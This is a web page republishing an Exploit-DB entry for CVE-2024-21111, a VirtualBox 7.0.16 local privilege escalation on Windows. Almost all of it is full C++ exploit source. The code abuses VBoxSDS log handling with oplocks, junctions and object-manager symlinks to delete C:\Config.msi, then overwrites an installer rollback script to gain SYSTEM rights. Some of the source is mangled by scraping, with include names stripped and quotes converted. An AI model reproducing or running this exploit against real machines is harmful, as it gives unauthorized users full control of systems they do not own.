VirtualBox 7.0.16 – Privilege Escalation

Exploit Details

Basic Information

Exploit Title VirtualBox 7.0.16 – Privilege Escalation
Exploit ID EDB-ID:52287
Type exploitdb
Published 2025-05-09T00:00:00
Modified 2025-05-09T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2024-21111

Exploit Description

Exploit Title: VirtualBox 7.0.16 – Privilege Escalation Date: 2025-05-06 Exploit Author: Milad Karimi (Ex3ptionaL) Contact: [email protected] Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL Tested on: Win…

Exploit Code

# Exploit Title: VirtualBox 7.0.16 – Privilege Escalation

# Date: 2025-05-06

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: [email protected]

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# Tested on: Win x64

# CVE : CVE-2024-21111

#include

#include

#include

#include

#include

#include

#include

#include “resource.h”

#include “def.h”

#include “FileOplock.h”

#pragma comment(lib, “Msi.lib”)

#pragma comment(lib, “Shlwapi.lib”)

#pragma comment(lib, “wtsapi32”)

#pragma comment(lib, “PathCch.lib”)

#pragma comment(lib, “rpcrt4.lib”)

#pragma warning(disable:4996)

struct __declspec(uuid(“74AB5FFE-8726-4435-AA7E-876D705BCBA5”))

CLSID_VBoxSDS;

FileOpLock* oplock;

HANDLE hFile, vb11, h;

HANDLE hthread;

NTSTATUS retcode;

HMODULE hm = GetModuleHandle(NULL);

HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L”rbs”);

DWORD RbsSize = SizeofResource(hm, res);

void* RbsBuff = LoadResource(hm, res);

WCHAR dir[MAX_PATH] = { 0x0 };

wchar_t filen[MAX_PATH] = { 0x0 };

DWORD WINAPI install(void*);

BOOL Move(HANDLE hFile);

void callback();

HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD

dispostion);

LPWSTR BuildPath(LPCWSTR path);

void loadapis();

VOID cb1();

VOID cb0();

BOOL Monitor(HANDLE hDir);

BOOL clearDataDir();

BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {

HANDLE hJunction;

DWORD cb;

wchar_t printname[] = L””;

HANDLE hDir;

hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,

OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

if (hDir == INVALID_HANDLE_VALUE) {

printf(“[!] Failed to obtain handle on directory %ls.\n”, dir);

return FALSE;

}

SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);

SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);

SIZE_T PathLen = TargetLen + PrintnameLen + 12;

SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,

GenericReparseBuffer.DataBuffer));

PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);

Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;

Data->ReparseDataLength = PathLen;

Data->Reserved = 0;

Data->MountPointReparseBuffer.SubstituteNameOffset = 0;

Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;

memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);

Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);

Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;

memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,

printname, PrintnameLen + 2);

if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,

0, &cb, NULL) != 0)

{

printf(“[+] Junction %ls -> %ls created!\n”, dir, target);

free(Data);

return TRUE;

}

else

{

printf(“[!] Error: %d. Exiting\n”, GetLastError());

free(Data);

return FALSE;

}

}

BOOL DeleteJunction(LPCWSTR path) {

REPARSE_GUID_DATA_BUFFER buffer = { 0 };

BOOL ret;

buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;

DWORD cb = 0;

IO_STATUS_BLOCK io;

HANDLE hDir;

hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,

OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);

if (hDir == INVALID_HANDLE_VALUE) {

printf(“[!] Failed to obtain handle on directory %ls.\n”, path);

printf(“%d\n”, GetLastError());

return FALSE;

}

ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,

REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);

if (ret == 0) {

printf(“Error: %d\n”, GetLastError());

return FALSE;

}

else

{

printf(“[+] Junction %ls delete!\n”, dir);

return TRUE;

}

}

BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {

if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,

target)) {

printf(“[+] Symlink %ls -> %ls created!\n”, object, target);

return TRUE;

}

else

{

printf(“error :%d\n”, GetLastError());

return FALSE;

}

}

BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {

if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |

DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {

printf(“[+] Symlink %ls -> %ls deleted!\n”, object, target);

return TRUE;

}

else

{

printf(“error :%d\n”, GetLastError());

return FALSE;

}

}

void runSDS(int delay) {

if (delay == 1) {

printf(“[!] sleeping for 2 sec\n”);

Sleep(2000);

}

CoInitialize(NULL);

LPVOID ppv;

// 1st trigger to create VBoxSDS.log dir

CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,

IID_IUnknown, &ppv);

CoUninitialize();

}

BOOL checkSDSLog() {

BOOL clear = FALSE;

std::wstring vboxDataDir = L”C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*”;

HANDLE hFind;

WIN32_FIND_DATA data;

hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);

// iterate first VBoxSDS.log

FindNextFile(hFind, &data);

if (hFind != INVALID_HANDLE_VALUE) {

do {

if (wcswcs(data.cFileName, L”VBoxSDS.log.”)) {

runSDS(0);

//wprintf(L”%s\n”, data.cFileName);

}

else {

printf(“[+] Logs have been cleared!\n”);

clear = TRUE;

}

//wprintf(L”%s\n”, data.cFileName);

} while (FindNextFile(hFind, &data));

FindClose(hFind);

}

//printf(“CLEAR: %d\n”, clear);

return clear;

}

BOOL enumProc(const wchar_t* procName) {

PWTS_PROCESS_INFO processes{};

BOOL ok = FALSE;

DWORD count;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,

&count)) {

for (DWORD i = 0; i < count; i++) {
if (wcswcs(processes[i].pProcessName, procName)) {

wprintf(L”[!] Process active: %s with PID %d\n”,

processes[i].pProcessName, processes[i].ProcessId);

ok = TRUE;

break;

}

}

}

else {

printf(“err: %d\n”, GetLastError());

}

WTSFreeMemory(processes);

return ok;

}

void checkIfExists() {

if (enumProc(L”VirtualBoxVM.exe”)) {

printf(“[!] You seem to have active VMs running, please stop them before

running this to prevent corruption of any saved data of the VMs.\n”);

exit(1);

}

if (enumProc(L”VirtualBox.exe”)) {

printf(“[!] VirtualBox process active\n”);

// message

printf(“[!] Trying to exit virtualbox by postmessage close window\n”);

PostMessage(FindWindow(NULL, TEXT(“Oracle VM VirtualBox Manager”)),

WM_CLOSE, NULL, NULL);

printf(“[!] Letting VBoxSDS exit (wait 12 seconds)\n\n”);

Sleep(12000);

if (enumProc(L”VBoxSDS.exe”)) {

printf(“[-] error stopping vboxsds\n”);

exit(1);

}

else {

printf(“[+] Success stopping vboxsds!\n”);

}

}

}

BOOL clearDataDir() {

do {

vb11 = CreateFile(L”C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11″, DELETE,

FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,

FILE_FLAG_OVERLAPPED, NULL);

printf(“h: %x %d\n”, vb11, GetLastError());

} while (vb11 == INVALID_HANDLE_VALUE);

oplock = FileOpLock::CreateLock(vb11, cb1);

if (oplock != NULL) {

HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0,

NULL);

oplock->WaitForLock(INFINITE);

CloseHandle(c);

}

BOOL isEmpty = FALSE;

do {

isEmpty = checkSDSLog();

} while (isEmpty == FALSE);

if (!RemoveDirectory(L”C:\\ProgramData\\VirtualBox\\VBoxSDS.log”)) {

printf(“error removing vboxlog dir\n”);

exit(1);

}

return isEmpty;

}

int wmain() {

loadapis();

checkIfExists();

clearDataDir();

hFile = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ |

DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);

if (hFile == INVALID_HANDLE_VALUE)

{

printf(“[!] Failed to create C:\\Config.msi directory. Trying to delete

it.\n”);

install(NULL);

hFile = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ |

DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);

if (hFile != INVALID_HANDLE_VALUE)

{

printf(“[+] Successfully removed and recreated C:\\Config.Msi.\n”);

}

else

{

printf(“[!] Failed. Cannot remove c:\\Config.msi”);

//return 1;

}

}

if (!PathIsDirectoryEmpty(L”C:\\Config.Msi”))

{

printf(“[!] Failed. C:\\Config.Msi already exists and is not empty.\n”);

//return 1;

}

printf(“[+] Config.msi directory created!\n”);

HANDLE hDir =

getDirectoryHandle(BuildPath(L”C:\\ProgramData\\VirtualBox”), GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);

printf(“hDir: %x\n”, hDir);

//Monitor(hDir);

HANDLE zxc{};

zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0,

NULL);

SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);

SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain

express control of our priority

SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

oplock = FileOpLock::CreateLock(hFile, callback);

if (oplock != nullptr) {

oplock->WaitForLock(INFINITE);

delete oplock;

}

do {

hFile = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ |

WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE |

FILE_SHARE_DELETE, FILE_OPEN_IF);

} while (!hFile);

char buff[4096];

DWORD retbt = 0;

FILE_NOTIFY_INFORMATION* fn;

WCHAR* extension;

WCHAR* extension2;

do {

ReadDirectoryChangesW(hFile, buff, sizeof(buff) – sizeof(WCHAR), TRUE,

FILE_NOTIFY_CHANGE_FILE_NAME,

&retbt, NULL, NULL);

fn = (FILE_NOTIFY_INFORMATION*)buff;

size_t sz = fn->FileNameLength / sizeof(WCHAR);

fn->FileName[sz] = ‘\0’;

extension = fn->FileName;

PathCchFindExtension(extension, MAX_PATH, &extension2);

} while (wcscmp(extension2, L”.rbs”) != 0);

SetSecurityInfo(hFile, SE_FILE_OBJECT,

UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL,

NULL, NULL, NULL);

while (!Move(hFile)) {

}

HANDLE cfg_h = getDirectoryHandle(BuildPath(L”C:\\Config.msi”),

FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,

FILE_CREATE);

WCHAR rbsfile[MAX_PATH];

_swprintf(rbsfile, L”C:\\Config.msi\\%s”, fn->FileName);

HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ |

FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL, NULL);

if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {

printf(“[+] Rollback script overwritten!\n”);

}

else

{

printf(“[!] Failed to overwrite rbs file!\n”);

}

CloseHandle(rbs);

CloseHandle(cfg_h);

DeleteJunction(dir);

CloseHandle(zxc);

WCHAR asdfasdf[MAX_PATH];

_swprintf(asdfasdf, L”GLOBAL\\GLOBALROOT\\RPC Control\\%s”, filen);

DelDosDeviceSymLink(asdfasdf, L”\\??\\C:\\Config.msi::$INDEX_ALLOCATION”);

return 0;

}

DWORD WINAPI install(void*) {

HMODULE hm = GetModuleHandle(NULL);

HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L”msi”);

wchar_t msipackage[MAX_PATH] = { 0x0 };

GetTempFileName(L”C:\\windows\\temp\\”, L”MSI”, 0, msipackage);

printf(“[*] MSI file: %ls\n”, msipackage);

DWORD MsiSize = SizeofResource(hm, res);

void* MsiBuff = LoadResource(hm, res);

HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC,

FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);

CloseHandle(pkg);

MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);

UINT a = MsiInstallProduct(msipackage, L”ACTION=INSTALL”);

printf(“%d\n”, a);

MsiInstallProduct(msipackage, L”REMOVE=ALL”);

DeleteFile(msipackage);

return 0;

}

BOOL Move(HANDLE hFile) {

if (hFile == INVALID_HANDLE_VALUE) {

printf(“[!] Invalid handle!\n”);

return FALSE;

}

wchar_t tmpfile[MAX_PATH] = { 0x0 };

RPC_WSTR str_uuid;

UUID uuid = { 0 };

UuidCreate(&uuid);

UuidToString(&uuid, &str_uuid);

_swprintf(tmpfile, L”\\??\\C:\\windows\\temp\\%s”, str_uuid);

size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) *

sizeof(wchar_t));

FILE_RENAME_INFO* rename_info =

(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY |

HEAP_GENERATE_EXCEPTIONS, buffer_sz);

IO_STATUS_BLOCK io = { 0 };

rename_info->ReplaceIfExists = TRUE;

rename_info->RootDirectory = NULL;

rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;

rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);

memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) *

sizeof(wchar_t));

NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info,

buffer_sz, 65);

if (status != 0) {

return FALSE;

}

return TRUE;

}

void callback() {

SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);

Move(hFile);

hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);

HANDLE hd;

do {

hd = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);

} while (!hd);

do {

CloseHandle(hd);

hd = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);

} while (hd);

CloseHandle(hd);

do {

hd = getDirectoryHandle(BuildPath(L”C:\\Config.msi”), GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);

CloseHandle(hd);

} while (retcode != 0xC0000022);

}

HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD

dispostion) {

UNICODE_STRING ufile;

HANDLE hDir;

pRtlInitUnicodeString(&ufile, file);

OBJECT_ATTRIBUTES oa = { 0 };

IO_STATUS_BLOCK io = { 0 };

InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);

retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL,

FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE |

FILE_OPEN_REPARSE_POINT, NULL, NULL);

if (!NT_SUCCESS(retcode)) {

return NULL;

}

return hDir;

}

LPWSTR BuildPath(LPCWSTR path) {

wchar_t ntpath[MAX_PATH];

swprintf(ntpath, L”\\??\\%s”, path);

return ntpath;

}

void loadapis() {

HMODULE ntdll = GetModuleHandle(L”ntdll.dll”);

if (ntdll != NULL) {

pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll,

“RtlInitUnicodeString”);

pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, “NtCreateFile”);

pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll,

“NtSetInformationFile”);

}

if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {

printf(“Cannot load api’s %d\n”, GetLastError());

exit(0);

}

}

void cb0() {

if (!Move(h)) {

printf(“reached3\n”);

exit(1);

}

printf(“reached2\n”);

_swprintf(dir, L”C:\\ProgramData\\VirtualBox”);

if (!CreateJunction(BuildPath(dir), L”\\RPC Control”)) {

printf(“[!] Exiting!\n”);

exit(1);

}

WCHAR asdfasdf[MAX_PATH];

_swprintf(asdfasdf, L”GLOBAL\\GLOBALROOT\\RPC Control\\%s”, filen);

if (!DosDeviceSymLink(asdfasdf,

L”\\??\\C:\\Config.msi::$INDEX_ALLOCATION”)) {

printf(“zxc\n”);

//printf(“[!] Exiting!\n”);

//exit(1);

}

}

void cb1() {

printf(“[!] oplock triggered\n”);

if (!Move(vb11)) {

printf(“reached3\n”);

exit(1);

}

if (!CreateDirectory(L”C:\\ProgramData\\VirtualBox\\VBoxSDS.log”, NULL)) {

printf(“Error creating dir. Exiting\n”);

exit(1);

}

return;

}

BOOL Monitor(HANDLE hDir) {

printf(“[!] Monitor called\n”);

BOOL deleted = FALSE;

_swprintf(filen, L”VBoxSDS.log.11″);

do {

do {

h = CreateFile(L”C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11″, DELETE,

FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,

FILE_FLAG_OVERLAPPED, NULL);

printf(“h: %x\n”, h);

} while (h == INVALID_HANDLE_VALUE);

oplock = FileOpLock::CreateLock(h, cb0);

if (oplock != NULL) {

HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS,

(LPVOID)1, 0, NULL);

oplock->WaitForLock(INFINITE);

CloseHandle(c);

}

deleted = TRUE;

} while (deleted == FALSE);

return deleted;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.